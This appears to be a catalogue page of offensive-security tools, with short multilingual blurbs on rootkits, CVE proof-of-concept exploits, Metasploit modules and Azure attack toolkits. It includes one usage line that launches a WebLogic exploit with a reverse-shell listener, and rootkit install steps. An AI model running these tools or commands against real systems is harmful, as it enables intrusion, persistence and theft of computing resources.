Umbra

Umbra Umbra は、カーネル 4.x および 5.x（5.7 まで）向けの、実験的な遠隔操作可能な LKM ルートキットです。リモートホストへのリバースシェル起動、マルウェアの遠隔実行などを行うネットワークバックドアを開きます。 このルートキットはまだ開発中ですが、以下に挙げる機能はすでに完全に動作します。 注: このルートキットは、カーネル 5.4.0 と Ubuntu 18.04 を使用して開発およびテストされています。 Features 🌟 悪意のある TCP パケットを受信すると、リモート IP へリバースシェルを起動するバックドア。 🌟 Umbra Injector...

wanderer

Wanderer Wanderer is an open-source program that collects information about running processes. This information includes the integrity level, the presence of the AMSI as a loaded module, whether it is running as 64-bit or 32-bit as well as the privilege level of the current process. This...

CVE-2026-88412

An integer overflow in the BulkInsertReadProperty component /bulkinsert.c of FalkorDB Redis module v4.20.1 allows attackers to cause a Denial of Service DoS via a crafted input...

CVE-2026-38751-OpenSTAManager-Arbitrary-File-Upload-PoC

CVE-2026-38751 – OpenSTAManager 任意ファイルアップロード PoC このリポジトリには、OpenSTAManager ≤ 2.10 に影響する CVE-2026-38751 の概念実証 PoC エクスプロイトが含まれています。この脆弱性により、認証済みの攻撃者がモジュール更新機能を介して悪意のあるモジュールをアップロードでき、任意のファイルアップロードとリモートコード実行 RCE につながります。 CVE リファレンス MITRE CVE エントリ 最初の公開レコード: https://vulners.com/cve/CVE-2026-38751 NVD...

CVE-2021-27877-PoC

CVE-2021-27877 概念実証 このリポジトリには、Veritas Backup Exec Agent に影響する CVE-2021-27877 用の、オリジナルの Rapid7 Metasploit モジュールの修正版が含まれています。 私のテストでは、オリジナルの Metasploit モジュールはターゲットを脆弱であると正しく識別しましたが、ペイロード配信段階が成功しなかったため、セッションの確立には一貫して失敗しました。しかし、モジュールを分析したところ、認証と基盤となるコマンド実行機能は正しく動作していることがわかりました。...

pwncat_dirtypipe

pwncatdirtypipe pwncatモジュールで、CVE-2022-0847（dirtypipe）を自動的に悪用します。 はじめに このモジュールの目的は、pwncatを使用している際にターゲット上でCVE-2022-0847（dirtypipe）を悪用しようとすることです。 ディレクトリの設定やソースのコンパイル、リモートターゲットにgccをインストールする必要は一切ありません。dirtypipeモジュールがpwncatフレームワークを使って自動的に処理します。 セットアップと使用方法 dirtypipe.py...

cve-2021-33909

CVE-2021-33909のカーネルランタイム修正 このリポジトリは、「cve-2021-33909.ko」という名前のアウトオブツリーモジュールをビルドします。 cve-2021-33909は、実行時に脆弱性のある関数をkprobeで置き換えることにより、カーネルのファイルシステム層の問題を修正します。 これは「make」でビルドでき、KDIRをカーネルのソース/ヘッダーディレクトリに設定します。 これは「insmod cve-2021-33909.ko」で直接ロードするか、 カーネルのモジュールディレクトリextra/にコピー+depmodしてから「modprobe...

NGINX-Rift

NGINX Rift — CVE-2026-42945 / CVE-2026-9256 脆弱性スキャン・検証ツール NGINX Rift は、CVE-2026-42945 および CVE-2026-9256 （NGINX ngxhttprewritemodule ヒープオーバーフロー脆弱性）のためのオープンソーススキャン・検証ツールです。リモートのネットワークフィンガープリントスキャンとローカルの詳細な構成監査をサポートし、セキュリティチームがNGINX環境の潜在的なリスクを迅速に特定するのに役立ちます。 脆弱性概要 CVE-2026-9256 CVSS 4.0: 9.2 Critica...

CVE-2026-85219

Denial-of-Service in Redis module in Thinkst Canary's OpenCanary 0.9.9 allows an unauthenticated remote attacker cause unconstrained memory usage...

AzureRT

AzureRT 一个Powershell模块，实现了从攻击角度与Azure和Azure AD交互的各种cmdlet。 提供了一些有用的实用工具，用于处理基于访问令牌的身份验证、在Az与AzureAD及az cli接口之间切换，以及易于使用的预构建攻击，例如基于Runbook的命令执行等。 最有价值的Cmdlet 本工具集包含多种cmdlet。本节重点介绍最重要且最有用的部分。 典型的红队/审计工作流程，从窃取的凭据开始，可以总结如下： root@kitploit: 窃取凭据 - 认证到Azure/AzureAD - 判断凭据是否有效 - 找出能利用它们做什么...

CVE-2026-27654

CVE-2026-27654 NGINX ngxhttpdavmodule における sizet アンダーフローによるヒープバッファオーバーフロー リモートDoS / 潜在的なRCE 説明 src/http/modules/ngxhttpdavmodule.c 内の ngxhttpdavcopymovehandler は、 Destination ヘッダのURIパスコンポーネントからロケーションプレフィックスの長さを引くことで、 宛先URIの長さを計算します。どちらの値も sizet unsigned 64-bit です。 宛先パスがロケーションプレフィックスより短い場合、減算結果は 0...

CloudMiner

CloudMiner Azure Automationサービス内でコードを実行し、課金されない 説明 CloudMinerは、Azure Automationサービス内で無料の計算リソースを取得するために設計されたツールです。このツールは、モジュール/パッケージアップロードフローを利用してコードを実行します。これは完全に無料で利用できます。このツールは教育および研究目的のみを意図しており、責任を持って適切な許可を得た上で使用する必要があります。...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat コンポーネントの逆シリアル化脆弱性 CVE-2017-10271 検出・エクスプロイトスクリプト 使用方法 root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ 機能 スタンドアロン Python スクリプト 任意のホストが脆弱かどうかを確認するチェック機能 Linux ターゲット向けのエクスプロイト機能 Metasploit モジュール 任意のホストが脆弱かどうかを確認するチェック...

CVE-2016-0752

CVE-2016-0752 の悪用 このアプリは、CVE-2016-0752 を悪用するための脆弱性を備えた Proof of Concept です。詳細については、このブログ記事を参照してください。この記事では、脆弱性、悪用に必要な手順、修正方法、および metasploit モジュールへのリンクについて説明しています。 はじめに root@kitploit: echo "" log/development.log Clear out the log file rvm use 2.2.3 bundle rails s 脆弱な URL:...

CVE-2016-5639

CVE-2016-5639 Crestron AirMedia AM-100 のパストラバーサルとハッシュダンプ Metasploit モジュール CVE-2016-5639 を利用してハッシュをダンプし、パストラバーサルによってファイルを取得する、2つの類似したモジュールです。これらのモジュールを分けて作成したのは、ハッシュを「ダンプ」し、クラッキング用に正しくフォーマットして戦利品に追加する、という機能を持つコードを書く経験を積みたかったからです。ご提案があれば歓迎します。 脆弱性の最初の発見と文書化の功績は、おそらく Cylance に帰属します:...

CVE-2020-1938-MSF-MODULE

CVE-2020-1938-MSF-MODULE auxiliary/admin/http/tomcatghostcat の修正版、 任意のファイルを読み取ります ファイル/metasploit-framework/modules/auxiliary/admin/http/tomcatghostcat.rbを上書きし、msfconsole を再起動して reloadall を実行してください。その後、このモジュールを使用できます。...

CVE-2015-2900-Exploit

CVE-2015-2898-2901、CVE-2015-6006 POCエクスプロイト & Metasploitモジュール これは、MEDCIN Engine（medcinserv.exe または medcinservv22.exe）のバージョン 2.22.20142.166 以前を対象とした概念実証（PoC）エクスプロイトです。 脆弱性の詳細は以下を参照してください: https://www.securifera.com/blog/2016/01/06/medcin-engine-exploitation-part-2-cve-2015-2898-2901-cve-2015-6006/...

CVE-2016-2776

CVE-2016-2776 DNSパケットの物語、BINDのCVE-2016-2776の詳細なウォークスルーと概念実証。 http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html このリポジトリには以下が含まれています: 概念実証 namedown.py Metasploit Auxiliary Module namedown.rb...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

RootKit

これは、ubuntu-16.04.6-desktop-amd64 Linux 4.4 でテストされたルートキットです。ただし、異なるカーネルバージョンへの移植は容易なはずです。 ビデオへのリンク -- https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing インストール リポジトリをクローンする root@kitploit: git clone https://github.com/Asekon/RootKit フォルダに入る root@kitploit: cd RootKit...